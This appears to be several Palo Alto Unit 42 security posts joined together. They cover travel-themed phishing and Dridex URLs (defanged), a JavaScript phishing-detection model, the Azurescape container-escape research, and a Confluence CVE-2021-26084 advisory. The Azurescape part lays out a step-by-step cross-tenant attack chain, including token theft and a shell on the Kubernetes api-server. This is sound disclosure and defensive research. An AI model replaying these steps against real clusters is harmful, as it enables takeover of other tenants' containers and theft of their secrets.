Based on the new phishing URLs that Unit 42 observed, in addition to the use of bespoke/new domains for serving the phishing URLs, threat actors also leveraged URL shorteners such as bit.ly and bit.do, and services such as Firebase that are hosted on Google Cloud Storage. Firebase is backed by Google and supports developers of mobile or web applications. Firebase includes cloud storage that enables developers to store and serve user-generated content. As Firebase leverages Google Cloud Storage, it is possible for phishing URLs to take advantage of it to bypass email protections based on Google’s reputation.
Unit 42 observed that not all the phishing URLs that threat actors leveraged were used for directed attacks or campaigns; some of the URLs were used in malspam campaigns to host malicious content, such as Dridex.
Use of Travel-themed Phishing URLs by Dridex
Dridex is mass-distribution malware that is typically sent through malspam. Dridex has been known as an information-stealing malware or banking trojan that targets Windows platforms and is distributed via malicious spam attachments impersonating legitimate companies.
The threat actor behind Dridex generally uses billing- or invoice-themed emails, a tactic used by most mass-distribution malware. The compromised or malicious URLs host the initial installer for Dridex to establish backdoor access. The backdoor access established by Dridex is later used to distribute followup malware, including ransomware, if the initial infection is not discovered.
The domains associated with the compromised URLs leveraged by Dridex are usually legitimate but compromised websites. For most Dridex campaigns, these URLs are used for a single day before the campaign moves on to a different URL.
Unit 42 researchers have observed two types of malspam pushing Dridex in the past few months: (1) a phishing email with an Excel spreadsheet attachment, and (2) a phishing email with a link to a message to download an Excel spreadsheet.
Figure 2. Infection chain for phishing emails with an Excel spreadsheet attachment.Figure 3. Infection chain for phishing emails linked to a message to download an Excel spreadsheet.
Unit 42 has published multiple articles over the past few years using the tag “Dridex.”
From the newly registered phishing URLs, Unit 42 observed that a couple of phishing URLs with travel-related keywords – “airlines” and “vacation” – were used by Dridex in 2021. These URLs are:
In January 2021, there was a malspam campaign that comprised emails that used Dropbox links to call animalairlines[.]org/wp-content/plugins/wordpress-seo/inc/options/tk2xzwhphujenf.php and download the malware DLL to install Dridex.
Figure 4. Example email associated with the campaign.
The SHA256 values associated with some of the samples identified by Unit42 researchers are:
Once Dropbox was provided Palo Alto Networks threat intelligence, it immediately disabled sharing of those links and disabled the associated account to prevent further threat actor activity.
The URL hxxp://go7wallet[.]com/app/plugins/cordova-plugin-statusbar/src/browser/HLn3obcR1vMJZNt.php was also contacted as part of the campaign.
In February and March 2021, there was a malspam campaign that comprised emails with Excel attachments to call soleravacation[.]net/wp-content/plugins/mojo-marketplace-wp-plugin-is-broke/inc/cli/mxq6awnfhnmadd2.php and subsequently download the malware DLL to install Dridex.
The SHA256 values associated with some of the samples identified by Unit 42 researchers are:
Of note for this particular campaign, the malicious spreadsheets try to connect to five or more URLs to retrieve Dridex, in addition to soleravacation[.]net/wp-content/plugins/mojo-marketplace-wp-plugin-is-broke/inc/cli/mxq6awnfhnmadd2.php.
Abuse of Firebase by Threat Actors
Threat actors have targeted multiple organizations within the travel industry and have used Firebase to host phishing pages to either target employees working in the travel industry or customers. Some of the organizations that have been targeted by Firebase-hosted web applications include an online marketplace for vacation rentals, upscale hotel chains, resort management companies and airline companies such as Tui.
As mentioned above, Firebase is backed by Google and supports developers of mobile or web applications, allowing them to store content in Google Cloud Storage. Unit 42 observed attackers taking advantage of the inherent legitimacy of the Google Firebase domain to deceive targets and to bypass security filters that block domains and files that are known to be malicious. Once Unit 42 notified Google, it immediately removed and blocked these phishing URLs to prevent further threat actor activity.
A sample of phishing URLs hosted on Firebase include:
Targeting employees working in the travel industry.
How Attackers Use the Data Gathered Through Phishing
Cybercriminals often want to monetize any “data” that they acquire through attacks, and data gathered about travelers or organizations operating in the travel sector is no different. We have observed that threat actors monetize data by selling stolen account credentials, stolen customer data or stolen payment information.
During the pandemic, Unit 42 researchers noticed the supply for travel-themed services and products in underground markets drastically decreased (see Figure 5), possibly due to the global travel restrictions. However, we expect that both supply and demand will increase as the world reopens for travel.
Figure 5. Travel-themed products and services listed in underground marketplaces, October 2019-March 2021. (Data for later months not available.)
Stolen Account Credentials
There are two main reasons criminals are attracted by data sets containing stolen usernames, emails and passwords. First, they give criminals access to victims’ mileage or hotel points, which can easily be resold for profit. Second, the credentials can easily be used for compromising and taking over victims’ accounts on other platforms, if the same credentials were used. With all the potential financial gains from stolen login credentials, the strong demand in underground marketplaces encourages threat actors to actively acquire this data through social engineering, brute-forcing or exploiting vulnerable systems.
Stolen Customer Data
Organizations in the travel industry have access to a wealth of data, including personally identifiable information (PII), payment information and the contact information of customers. In the recent SITA passenger service system attack, 4.5 million global data subjects were compromised. While researchers attributed the attack to APT41, it was observed that financially motivated criminals also showed interest in this data.
There are three possible ways cybercriminals can abuse this type of data.
Identity theft: Using stolen individual information collected from website A to create new accounts on website B. Because victims are not aware of these accounts on website B, they are less likely to be notified until later.
Reconnaissance: Using the information for reconnaissance and setting the stage for spear phishing attacks.
Resale of data: Data can easily be resold to other criminals, fraudsters or illicit marketing service providers for further abuse.
Stolen Payment Information
Cybercriminals have been offering a “shadow travel agency” service for years. They reach out to individual travelers through various social media or instant messaging platforms such as Telegram, providing flight bookings, hotel reservations, car rentals, car rides and sightseeing tours with heavily discounted prices. While travelers transfer clean money to the “shadow travel agency,” the “shadow travel agency” pays the actual service providers such as hotels or airlines with stolen payment information. Due to the time gap in payment processing, service providers only realize they have been defrauded when they see the disputed card transactions or chargebacks weeks or months later.
There are three groups of victims in this scenario. The first victim group is the payment information owners and stolen credit card holders. The second victim group is the travelers who were unknowingly a part of the money laundering process, giving cybercriminals opportunities to cash out the stolen payment information they previously collected. Travel industry organizations are considered the third victim group; they are the most impacted in this scheme. Not only did they fail to profit from the products and services they provided, but they also had to cover the costs and chargeback penalties, as well as addressing the reputational impacts of the crime.
Figure 6. Abuse of stolen payment information by threat actors.
Conclusion
The travel industry and international travelers have been long-term targets for cybercriminals, suffering financial and reputational damage. Threat actors not only sell fabricated information but also stolen information that they gather through phishing attacks. During the pandemic, we noticed that travel-themed products and services offered by cybercriminals in underground marketplaces decreased significantly, possibly due to low demand. However, as travel resumes, we expect travelers and the travel industry to be targeted again due to the high profitability associated with this data. Therefore, it is important to be aware of phishing campaigns.
Best practices to protect yourself and your organization from phishing attacks include:
For individuals:
Exercise caution when clicking on any links or attachments contained in suspicious emails, especially those relating to one’s account settings or personal information, or otherwise trying to convey a sense of urgency.
Verify the sender’s address for any suspicious emails in your inbox.
Double-check the URL and security certificate of each website before inputting your login credentials.
Report suspected phishing attempts.
For organizations:
Implement security awareness training to improve employees’ ability to identify fraudulent emails.
Regularly back up your organization’s data as a defense against ransomware attacks initiated via phishing emails.
Enforce multi-factor authentication on all business-related logins as an added layer of security.
Palo Alto Networks customers are protected by:
Advanced URL Filtering: Detects unknown, newly malicious URLs in milliseconds instead of minutes, preventing successful attacks.
WildFire: All known samples are identified as malware.
AutoFocus: Tracking related activity using the Dridex tag.
Many traditional phishing detection systems rely on the presence of login forms within the HTML of the webpage to classify pages as phishing. Client-side cloaking is an increasingly common technique that attackers use to evade phishing detection systems by requiring complex user interaction before revealing the webpage’s phishing content, or by using JavaScript to inject phishing content into the page only after the page renders in the user’s browser.
To combat these evasion techniques, we trained a deep learning model to detect phishing webpages based on the JavaScript content contained within the script tags of an HTML page. The model, dubbed PhishingJS, runs in the Palo Alto Networks cloud-delivered Advanced URL Filtering service. It currently detects an additional 15,000 phishing URLs per week on sophisticated JavaScript-based attacks that many existing phishing detection systems struggle to detect.
Palo Alto Networks customers with the Next-Generation Firewall and the Advanced URL Filtering security subscription are protected against the sophisticated types of phishing attacks discussed here.
Client-Side Cloaking
Many existing phishing detection systems rely on the presence of login forms, brand logos and similar signals within the HTML of a webpage to determine whether the page is a phishing page.
Client-side cloaking is an increasingly common evasion technique used by cybercriminals to evade these phishing detection systems. These attackers often use JavaScript to dynamically render phishing content (the same types of content often picked up by detection systems) on the client side, sometimes requiring user interaction before revealing any signs of attempted credential theft. Since the phishing content does not appear in the HTML document until after the page renders, these phishing pages can be difficult for traditional phishing detection engines to catch.
In Figures 1-2, we can see an example of a phishing webpage employing client-side cloaking techniques. This page claims that there has been some unusual activity on the user’s Apple ID account and that the user needs to process a refund related to the activity.
Upon first visiting the webpage, there is no phishing form immediately apparent. Only after the user clicks the “Confirm Refund Request” button is the credential-stealing form revealed. Since many crawler-based phishing detection systems cannot handle these sorts of interactions, these types of phishing pages can often pass undetected.
Figure 1. https://appleid[.]uber[.]space/LoginFailed.php?sslchannel=true&sessionid=VRqELCgYcqDhDQ2KGKMPYt4FcEX0XO7Kz1wi2xZyCCQiA5fz9smSqmoWfnsEn9znu4ixcl3RkVzwRW5f. A phishing page employing client-side cloaking techniques.Figure 2. Same URL as Figure 1, with the credential-stealing form revealed after clicking “Confirm Refund Request.”
After investigating the source code behind the page, we see that most of the page content does not exist directly within the main body of the HTML. Rather, there is a large script tag at the bottom of the HTML source that uses the document.write(...) API to inject the bulk of the page content into the HTML document; this happens only after the page is rendered in the browser.
Note that this script is also highly obfuscated, likely in an attempt to avoid phishing detection engines. The obfuscated code runs through AES decryption before being passed into the document.write(...) call.
Figure 3. HTML source code for the page in Figures 1-2.
Sophisticated phishing pages like these may pose problems to traditional phishing detection engines. Therefore, we need to investigate additional machine learning (ML) techniques to classify pages like these as phishing.
How We Trained Our Model to Detect JavaScript-Based Phishing
We first created a training data collection pipeline to continuously gather phishing JavaScript samples from recent phishing URLs. We collected these samples from phishing URLs discovered from third-party sources and our phishing detection systems.
Once enough samples were collected, we trained a deep learning model on ~120,000 phishing and ~300,000 benign JavaScript samples. We validated the model in a staging environment before promoting it to production.
Traditional ML relies on subject matter experts to design a set of handcrafted features for the model to use as indicators of phishing or benign activity. On the other hand, our deep learning model iterates through the dataset to learn what patterns in the JavaScript code may indicate phishing (or otherwise suspicious) behavior. This ML-based pattern-matching makes the model more flexible than purely signature-based detection techniques, and also more robust to newer or lesser-known JavaScript-based phishing tactics that some researchers may not have seen before.
For each script tag, the model produces a score from 0 to 1, where 1 indicates high confidence in the script being related to some sort of phishing behavior, and 0 indicates high confidence in the script being benign. For example, highly obfuscated JavaScript code, or code that injects credential-stealing forms into the page, may cause the model to output a high phishing score. Benign JavaScript code will pass through the model without raising any red flags.
Once we have a phishing score from the model, we apply various thresholds to make our final verdict regarding whether to publish the given URL as phishing or not. The PhishingJS model contributes roughly 15,000 new phishing detections weekly, meaning that Palo Alto Networks customers – specifically those who subscribe to Advanced URL Filtering – will be protected from these sophisticated phishing attacks in the real world.
PhishingJS in the Real World
Here are some sample detections that our model has generated.
First, we can see that the model can detect phishing pages employing client-side cloaking, such as when the page requires the user to click a button before actually revealing the credential-stealing form. In Figures 4-5, we see an example of a phishing webpage impersonating a Dropbox login page. The user must first click a “Sign in with Gmail” or “Sign in with Outlook” button before being presented with a modal asking for their login information. This particular URL was detected as phishing with a score of 0.99998, meaning that the model was very confident in marking this page as phishing.
Figure 4. cooking4kor[.]ru/cvfd/?onstoreid=40uti89763. A phishing page employing client-side cloaking that our PhishingJS model detected.Figure 5. cooking4kor[.]ru/cvfd/?onstoreid=40uti89763. After user interaction.Next, we show that the model can also detect highly obfuscated JavaScript code responsible for generating phishing webpages. In Figure 6, we present a phishing webpage that is attempting to impersonate a SharePoint login site. This may look like a relatively straightforward phishing page upon first glance. However, upon inspecting the page’s source code, we see that the entire page is generated using a single JavaScript script tag. Similar to the example in Figure 3, this JavaScript snippet takes a highly obfuscated string, decodes it and then calls document.write(...) to inject the output into the webpage.
Figure 6. https://555305[.]selcdn[.]ru/564377/kc.htm#. A phishing webpage that uses JavaScript to dynamically render the content of the page.Since the HTML of the page lacks any immediately apparent body text or input forms, this page might evade many traditional phishing detection engines. However, by analyzing the JavaScript snippet itself, our PhishingJS model detected this model as phishing with a high-confidence score of 1.00000.
Figure 7. HTML source code for the phishing page in Figure 6.
We find that the model is capable of detecting highly interactive scam pages as well. In Figures 8-10, we show a scam page claiming that the user has won a free Samsung Galaxy S2; all the user needs to do to claim the prize is share the page with five groups or 20 friends on WhatsApp.
Figure 8. http://coffeeshop[.]store/janjijiwa?t=1621831119257. A highly interactive scam page that was detected by our PhishingJS model.Each time the user clicks the “Share” button, the page opens the user’s WhatsApp app and asks the user to share the page with another WhatsApp number. After each time the page is “shared,” the blue bar is incremented farther toward the right.
Figure 9. Same URL as Figure 8, after clicking the “Share” button.
Once the user has shared the page with the requisite number of friends, the user is prompted to complete the final registration step. Presumably, after clicking “Complete registration,” the user will be shown a form asking for some sensitive information so that the scammers can “ship the free phone” (which, to be clear, does not exist) to the user.
Figure 10. Same URL as Figure 8. After sharing the page with enough WhatsApp users, the user is prompted to “Complete registration.”
As seen in the figures above, this scam page requires very complex user interactions before explicitly revealing any credential-stealing forms. By analyzing the JavaScript of the page and using deep learning to look for suspicious patterns that may be indicative of phishing or credential-stealing activity, we can detect these pages as phishing and prevent our customers from falling prey to these sorts of attacks in the real world.
Conclusion
Traditional phishing detection engines can often struggle to detect the increasingly sophisticated phishing webpages that cybercriminals are now crafting. Specifically, they are often unable to detect instances of client-side cloaking, wherein the phishing page may require some user interaction before revealing the actual phishing content, or wait until the page is rendered in the browser before injecting phishing content into the HTML document.
By training a deep learning model to directly analyze the JavaScript contained within the webpage, we can catch these sophisticated JavaScript-based phishing attacks and prevent them from reaching our customers.
The Palo Alto Networks ML-powered Advanced URL Filtering service for the Next-Generation Firewall, which now has this JavaScript-based phishing detection capability, can help protect against these attacks.
The author would like to thank Wei Wang for helping to guide the PhishingJS project from start to finish; Wayne Xin and Jingwei Fan for helping to get the model into production; Brody Kutt for the original model architecture; and Seokkyung Chung, Yu Zhang, Zeyu You and Ziqi Dong for helping to review the model detections.
Azure Container Instances (ACI) is Azure's Container-as-a-Service (CaaS) offering, enabling customers to run containers on Azure without managing the underlying servers. Unit 42 researchers recently identified and disclosed critical security issues in ACI to Microsoft. A malicious Azure user could have exploited these issues to execute code on other users' containers, steal customer secrets and images deployed to the platform, and possibly abuse ACI's infrastructure for cryptomining. Researchers named the vulnerability Azurescape – the first cross-account container takeover in the public cloud.
Azurescape allowed malicious users to compromise the multitenant Kubernetes clusters hosting ACI, establishing full control over other users' containers. This post covers the research process, presents an analysis of the issue and suggests best practices for securing Kubernetes, with a focus on multitenancy, that could help prevent similar attacks.
Microsoft patched ACI shortly after our disclosure. Unit 42 has no knowledge of Azurescape exploited in the wild. As a precautionary measure, if you run containers on ACI, we recommend revoking any privileged credentials that were deployed to the platform before Aug. 31, 2021, and checking their access logs for irregularities.
Azure Container Instances (ACI) was released in July 2017 and was the first Container-as-a-Service (CaaS) offering by a major cloud provider. With ACI, customers can deploy containers to Azure without managing the underlying infrastructure. ACI takes care of scaling, request routing and scheduling, providing a serverless experience for containers.
Azure’s website described ACI by saying, "Develop apps fast without managing virtual machines or having to learn new tools – it's just your application, in a container, running in the cloud."
Internally, ACI is built on multitenant clusters that host customer containers. Originally those were Kubernetes clusters, but over the past year, Microsoft started hosting ACI on Service Fabric Clusters as well. The issues presented here affect ACI on Kubernetes, and the rest of the post will only reference that architecture. According to our tests, in which we deployed several thousand containers to the platform, at the time of disclosure Kubernetes hosted around 37% of newly created containers in ACI.
Figure 1. ACI hosted on multitenant Kubernetes clusters.
In multitenant environments like ACI, you need to enforce a strong boundary between tenants. In ACI, that boundary is the node virtual machine. Each customer container runs in a Kubernetes pod on a dedicated, single-tenant node. This Kubernetes multitenancy approach is often called node-per-tenant.
Azurescape Attack Scenario
ACI is built to defend against malicious neighbors. Since practically anyone can deploy a container to the platform, ACI must ensure that malicious containers cannot disrupt, leak information, execute code or otherwise affect other customers' containers. These are often called cross-account or cross-tenant attacks.
Figure 2. Cross-account attack scenario.
The following sections cover our research into cross-account attacks in ACI. We identified a cross-tenant attack through which a malicious Azure customer could escape their container, acquire a privileged Kubernetes service account token and take over the Kubernetes api-server, thus establishing complete control over the multitenant cluster and all customer containers running within it.
Escaping Our Container
CaaS offerings are notoriously hard to look into. Users are only exposed to their container environment, and access to the local network is disabled through firewalls. To better understand how CaaS platforms run our containers, we created WhoC. WhoC is a container image that reads the container runtime executing it. It's based on a rarely discussed design flaw in Linux containers allowing them to read the underlying host's container runtime. The idea is quite similar to the infamousCVE-2019-5736, except that instead of overwriting the host's runtime, you read it.
By deploying WhoC to ACI, we were able to retrieve the container runtime used in the platform. Unsurprisingly, we found runC, the industry standard container runtime. What caught us off guard was the version, as shown in Figure 3.
Figure 3. Container runtime used in ACI.
RunC v1.0.0-rc2 was released on Oct. 1, 2016, and was vulnerable to at least two container breakout CVEs. Back in 2019, we analyzed one of these vulnerabilities, CVE-2019-5736. Our blog post, “Breaking out of Docker via runC – Explaining CVE-2019-5736,” shared our analysis and a proof-of-concept (PoC) exploit for it.
Once we discovered the presence of this old version of runC in ACI, we took the PoC container image developed then, polished it and deployed it to ACI. We successfully broke out of our container and gained a reverse shell running as root on the underlying host, which turned out to be a Kubernetes node.
Figure 4. Exploiting CVE-2019-5736 to escape our ACI container.
While we escaped our container, we were still within the tenant boundary – the node VM. CaaS platforms are designed to withstand sophisticated attackers who possess kernel vulnerabilities enabling privilege escalation and container breakout. A malicious container breaking out is a somewhat expected threat, tolerated through node-level isolation.
Figure 5. Out of the container, still inside our dedicated node.
Scouting the Node Environment
Looking around the node, we could verify our container was the only customer container. Using the Kubelet credentials, we listed the pods and nodes in the cluster. The cluster hosted around 100 customer pods and had about 120 nodes. Each customer was assigned a Kubernetes namespace where their pod ran; ours was caas-d98056cf86924d0fad1159XXXXXXXXXX.
We saw that the node's Kubelet allowed anonymous access, so we tried to access Kubelets on neighboring nodes. All attempted requests to access neighboring nodes timed out, probably due to a firewall configuration that prevented communication between worker nodes.
Nodes had a reference to the cluster name in a kubernetes.azure.com/cluster label, with the following format: CAAS-PROD-<LOCATION>-LINUX-<ID>.
Figure 6. Cluster name.
We deployed a few breakout containers which landed on different Kubernetes clusters. Each cluster was found to have a unique cluster ID ranging between 1-125, indicating that each location (e.g. Western Europe) hosted a few dozen clusters.
Kubernetes 1-days
Next, we examined the cluster's Kubernetes version.
Figure 7. ACI Kubernetes version.
ACI was hosted on clusters running either Kubernetes v1.8.4, v1.9.10 or v1.10.9. These versions were released between November 2017 and October 2018 and are vulnerable to multiple publicly known vulnerabilities. Running older Kubernetes versions is considered bad practice, but it doesn't necessarily entail a security issue within ACI. If no past issues are exploitable from the context of a malicious node, then there's no security impact.
We started going over past Kubernetes issues, searching for ones that would allow our compromised node to escalate privileges or gain access to other nodes. We identified one that looked promising – CVE-2018-1002102.
Kubernetes CVE-2018-1002102
The api-server occasionally reaches out to Kubelets. For example, when servicing a kubectl exec <pod> <cmd> command, the api-server will defer the request to the appropriate Kubelet's /exec endpoint.
CVE-2018-1002102 marks a security issue in how the api-server communicated with Kubelets – it would accept redirects. By redirecting the api-server's requests to another node's Kubelet, a malicious Kubelet can spread in the cluster. Figure 8 shows the basic flow of the vulnerability:
Figure 8. CVE-2018-1002102 flow.
The prerequisites for exploitation are:
A vulnerable api-server version: ✓
A compromised node: ✓
A way to make the api-server contact the compromised node. For example, this can be accomplished by issuing a kubectl exec to a pod on the compromised node: ?
As it turns out, ACI also fulfilled the third prerequisite. ACI supports executing commands on uploaded containers via the az container execcommand, which mirrors kubectl exec.
az container exec --name <my-container> --exec-command <command>
We proceeded to create a custom Kubelet image that exploits CVE-2018-1002102, redirecting incoming exec requests to pods on other nodes. To maximize impact, we configured it to target the api-server pod, and finally, ran az container exec my-ctr --exec-command /bin/bash, with the expectation of establishing a shell on the api-server container. The command just failed.
After some debugging, we noticed the redirection operation only works if the target container is hosted on the same node. This effectively nullifies the attack, since we can't spread to other nodes. Examining the patch for CVE-2018-1002102, this was actually the fix for the vulnerability. At this point, something didn't add up. We had already verified the api-server version was vulnerable to CVE-2018-1002102, and we didn't understand why it appeared to include the fix.
Reexamining the exec requests arriving at the node helped shed some light on what was going on. We expected the requests to arrive from the api-server IP, as illustrated in Figure 8. Surprisingly, the requests originated from a pod dubbed the 'bridge' running in the default namespace.
Figure 9. Kubelet connections during an az container exec session.
We discovered that ACI moved the handling of exec requests from the api-server to a custom service. This was probably implemented by routing az container exec commands to the bridge pod instead of to the api-server.
Figure 10. Bridge pods handle execs in ACI.
The bridge image tag was master_20201125.1, indicating it was updated after CVE-2018-1002102. Judging from its recent build time and its refusal to redirect exec requests, it appears that CVE-2018-1002102's patch was ported to the bridge. Microsoft deserves credit for noticing a vulnerability affects their custom bridge pod and patching accordingly. Nicely done!
It's worth mentioning that CVE-2018-1002102 can also be exploited in other cases, for instance, when a client asks a malicious Kubelet to retrieve container logs (e.g. kubectl logs). This is actually relevant for ACI, where this functionality is implemented via the az container logscommand. But as with exec requests, ACI deferred the handling of log retrieval to a dedicated pod appropriately named log-fetch. And as with the bridge pod, a fix for CVE-2018-1002102 was also ported to the log-fetch pod, preventing exploitation.
Escalating to Cluster Admin
CVE-2018-1002102 was off the table, but we did notice something odd while debugging the exploit. The exec requests arriving at the node included an Authorization header carrying a Kubernetes service account token, as shown in Figure 11.
Figure 11. Bridge sends 'exec' request with service account token.
Finding a token here was surprising. As mentioned earlier, Kubelets in the cluster were configured to allow anonymous access, so there was no need for requests to authenticate via a token. Perhaps this was a relic of an older implementation.
Kubernetes service account tokens are unencrypted JSON Web Tokens (JWTs), so they're decodable. As seen below, the received token is a service account token for the 'bridge' service account. This makes sense given the request originated from the bridge pod.
Figure 12. Bridge service account token, decoded.
If you run Kubernetes, be careful to whom you send your service account tokens: Anyone who receives a token is free to use it and masquerade as its owner. Token thieves are likely to be very interested in the permissions of their stolen tokens. The api-server exposes two APIs that allow clients to query for their permissions, SelfSubjectAccessReview and SelfSubjectRulesReview. And kubectl provides kubectl auth can-i as a convenient way of accessing these APIs.
Here are the privileges of the 'bridge' token in the default namespace:
Looking at other namespaces, the permissions are consistent, indicating they're cluster-wide (as opposed to namespace-scoped). Below are the token's permissions in the kube-system namespace. Try to identify a permission that would allow us to spread in the multitenant cluster:
Seasoned Kubernetes security folks may have identified the pods/exec privilege, indicating that the token can be used to execute commands on any pod in the cluster – including the api-server pod! Figure 15 shows the token opening a shell on the api-server container:
Figure 15. Using the bridge's token to pop a shell on the api-server.
We just completed a dangerous cross-account attack. With code execution on the api-server, we're now cluster admins with full control over the multitenant cluster and all customer containers within it.
Azurescape Attack Summary
Let's summarize the steps through which a malicious Azure customer could have gained administrative privileges over multitenant Kubernetes clusters hosting ACI:
Deploy an image exploiting CVE-2019-5736 to ACI. The malicious image breaks out upon execution and establishes code execution on the underlying node.
On the node, monitor traffic on the Kubelet port, port 10250, and wait for a request that includes a JWT token in the Authorization header.
Issue az container exec to run a command on the uploaded container. The bridge pod will now send an exec request to the Kubelet on the compromised node.
On the node, extract the bridge token from the request's Authorization header and use it to pop a shell on the api-server.
The attack is demonstrated in the following video:
Video 1: From malicious container to full cluster admin.
Impact of the Attack
A malicious Azure user could have compromised the multitenant Kubernetes clusters hosting ACI. As cluster administrator, an attacker could execute commands in other customer containers, exfiltrate secrets and private images deployed to the platform, or deploy cryptominers. A sophisticated adversary would further investigate the detection mechanisms protecting ACI to try to avoid getting caught.
The Fix
We responsibly disclosed all the above findings to Microsoft. Consequently Microsoft released a patch to ACI. The bridge pod no longer sends its service account token to nodes when issuing exec requests, preventing the reported cross-tenant attack.
Another Route to Admin – Bridge SSRF
After reporting the token issue, we wanted to make sure there aren't other ways to escalate to cluster admin. After extensive research, we were able to identify such a way. At this point Microsoft reduced the share of ACI containers running on Kubernetes; only around 10% of regions defaulted to Kubernetes clusters. That being said, some features were only supported on Kubernetes, for example gitRepo volumes. If an ACI container used such features, it was deployed on a Kubernetes cluster. Other features meant containers were likely to land on Kubernetes. That was the case for containers in private virtual networks.
The second issue we discovered was a server-side request forgery (SSRF) vulnerability in the bridge pod.
When a bridge pod services an az container exec <ctr> <cmd> command, it sends a request to the appropriate Kubelet's /exec endpoint. The bridge constructs the request according to the API specification of the Kubelet's /exec endpoint, resulting in the following URL:
The bridge must somehow fill in the missing parameters enclosed in <>. As it turns out, the value of <nodeIP> is retrieved from the customer pod's status.hostIP field. That was quite interesting to discover, since nodes are authorized to update the status of their pods (in order, for example, to update their pod's status.state field to Running, Terminated, etc).
We tried changing our pod's status.hostIP field using the compromised node's credentials. It worked, but after a second or two the api-server corrected the hostIP field to its original value. Although the change didn't persist, nothing prevented us from repeatedly updating this field.
We wrote a small script that repeatedly updates our pods' status, and used it to set the status.hostIP field to 1.1.1.1. We then issued an az container exec command. The command failed, verifying the bridge sent the exec request to 1.1.1.1 instead of the real node IP. We started thinking about which specially crafted hostIP could trick the bridge into executing a command on other pods.
Simply setting the pod's status.hostIP to another node's IP wouldn’t have achieved anything. Kubelets only accept requests that point to a container they host. Even if the bridge sends the exec request to another Kubelet's IP, the URL will still point to our namespace, pod name and container name.
We then realized the api-server doesn't actually verify that the status.hostIP value is a valid IP, and would accept any string – including URL components. After a few attempts, we came up with a hostIP value that would trick the bridge into executing a command on the api-server container, instead of our container:
The # suffix ensures the rest of the URL is treated as a URI fragment and is effectively ignored. We set our pod's status.hostIP to this value and issued a command via az container exec. The attack worked! Instead of a shell to our container, we were presented with a shell to the api-server container. The full attack can be seen in the following video:
Video 2: Tricking the bridge into opening a shell on the api-server.
The impact here is exactly the same as with the previous attack – full administrative control over the multitenant cluster. We reported this issue to MSRC as well, resulting in a patch to ACI. The bridge now verifies that a pod's status.hostIP field is a valid IP before sending an exec request.
Conclusion
Cross-account vulnerabilities are often described as a "nightmare" scenario for the public cloud. Azurescape is evidence that they're more real than we'd like to think. Cloud providers invest heavily in securing their platforms, but it's inevitable that unknown zero-day vulnerabilities would exist and put customers at risk. Cloud users should take a defense-in-depth approach to cloud security to ensure breaches are contained and detected, whether the threat is from the outside or from the platform itself.
As part of the commitment of Palo Alto Networks to advancing public cloud security, we actively invest in public cloud research that includes advanced threat modeling and vulnerability testing of cloud platforms and related technologies. We hope such research can illustrate how cross-account attacks may look in the wild, which can translate into suitable mitigations and detection mechanisms.
We'd like to thank Microsoft’s MSRC for quickly patching the reported issues and professionally handling the disclosure process, as well as for the bounty rewards. Cooperative penetration testing and bug bounty programs help secure the cloud services we all rely on.
Preventing Similar Attacks on Kubernetes Environments
From the perspective of a Kubernetes defender, several best practices, mitigations and policies can help prevent or detect features of similar attacks:
Keep your cluster infrastructure up to date and prioritize patches by severity and context.
Refrain from sending privileged service accounts tokens to anyone but the api-server. If a recipient is compromised, an attacker can masquerade as the token owner.
Enable BoundServiceAccountTokenVolume. This recently graduated feature gate ensures token expiration is bound to its pod. When a pod terminates, its token is no longer valid, minimizing the impact of token theft.
Deploy policy enforcers to monitor and prevent suspicious activity in your clusters. Configure them to alert on service accounts or nodes that query the SelfSubjectAccessReview or SelfSubjectRulesReview APIs for their permissions. Prisma Cloud customers can download a relevant rule template and enforce it via the built-in admission control for Kubernetes. We recommend setting the rule to Alert. Others can rely on open-source tools such as OPA Gatekeeper.
To expand on the last point, we see adversaries actively abusing the SelfSubjectReview APIs to inspect the privileges of stolen Kubernetes credentials. Daniel Prizmant, a fellow researcher, recently observed the Siloscape malware leveraging these APIs to retrieve the permissions of the node it compromised, and then using them to determine whether to continue its campaign against the cluster. We reported this behaviour to MITRE, and it will be included in the next release of ATT&CK for Containers as the Permission Group Discovery technique.
Secure multitenancy in Kubernetes is challenging, even for cloud providers. Hosting services, cloud providers and CI/CD services implementing multitenancy on Kubernetes should consider the following when designing their platforms:
Refrain from exposing cluster credentials within the tenant boundary. Malicious tenants may abuse these credentials to fuel further escalation or collect information on other tenants and the platform itself.
Assume a malicious tenant will break out of its container/sandbox. Think from an attacker's perspective – What could be the objectives? What would be the first moves? Implement detection mechanisms accordingly. Detection schemes should be considered a requirement in hostile multitenant environments, necessary to combat advanced persistent threats (APTs) and zero-day vulnerabilities.
Even if a node is compromised, it shouldn't be able to move laterally and compromise other nodes. Ensure nodes are least privileged by enabling the NodeRestiction admission controller. Set up firewall rules to prevent communication between nodes hosting customer containers.
On Aug. 25, 2021, Atlassian released a security advisory for an injection vulnerability in Confluence Server and Data Center, CVE-2021-26084. If the vulnerability is exploited, threat actors could bypass authentication and run arbitrary code on unpatched systems. Since the release of this advisory, mass scanning activity has started to occur, seeking unpatched systems, and in-the-wild exploitation has begun. Unit 42 recommends customers upgrade to the latest release of Confluence Server and Data Center.
Vulnerable Systems
The Atlassian products vulnerable to CVE-2021-26084 are those using the following versions of Confluence Server and Data Center:
All 4.x.x versions.
All 5.x.x versions.
All 6.0.x versions.
All 6.1.x versions.
All 6.2.x versions.
All 6.3.x versions.
All 6.4.x versions.
All 6.5.x versions.
All 6.6.x versions.
All 6.7.x versions.
All 6.8.x versions.
All 6.9.x versions.
All 6.10.x versions.
All 6.11.x versions.
All 6.12.x versions.
All 6.13.x versions before 6.13.23.
All 6.14.x versions.
All 6.15.x versions.
All 7.0.x versions.
All 7.1.x versions.
All 7.2.x versions.
All 7.3.x versions.
All 7.4.x versions before 7.4.11.
All 7.5.x versions.
All 7.6.x versions.
All 7.7.x versions.
All 7.8.x versions.
All 7.9.x versions.
All 7.10.x versions.
All 7.11.x versions before 7.11.6.
All 7.12.x versions before 7.12.5.
Confluence Cloud customers are not affected by this vulnerability.
Mitigation Actions
We recommend that customers update Atlassian Confluence Server and Data Center to the latest version, 7.13.0 (TLS). You can find the newest release on Atlassian’s download center.
If you cannot install the latest upgrade, see the Mitigation section on the Atlassian security advisory for information on how to mitigate this vulnerability by running a script for the operating system your Confluence server is hosted on.
Conclusion
Palo Alto Networks provides protection against the exploitation of this vulnerability:
Next-Generation Firewalls with a Threat Prevention security subscription (running Applications and Threat content update version 8453) can automatically block sessions related to this vulnerability using Threat ID 91594.
Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.
